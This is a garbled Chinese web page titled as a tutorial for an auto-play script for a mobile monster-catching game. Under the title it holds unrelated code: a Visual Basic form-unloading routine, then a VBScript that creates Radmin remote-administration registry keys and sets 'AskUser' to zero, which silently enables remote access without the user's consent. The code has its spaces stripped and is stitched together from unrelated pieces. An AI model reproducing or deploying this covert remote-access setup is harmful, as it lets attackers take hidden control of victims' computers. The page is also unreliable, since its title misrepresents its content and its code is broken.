android脚本实现自动捉妖,一起来捉妖自动捉妖脚本使用教程ios00

程序如下：

SubForm_Load()

DimI'定义变量

bye.Show'封底出现

Unloadmenu1'卸载主菜单

al:Ifpicture1.Height<7130Then'7130为图的高度

picturel.Height=picture1.Height＋50'下拉屏幕

GoToal

EndIf

ForI=1To20000'使窗体暂停一段时间

NextI

End'结束所有操作

EndSub->

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_

strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")

strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)

uBinary=Array(0,0,0,0)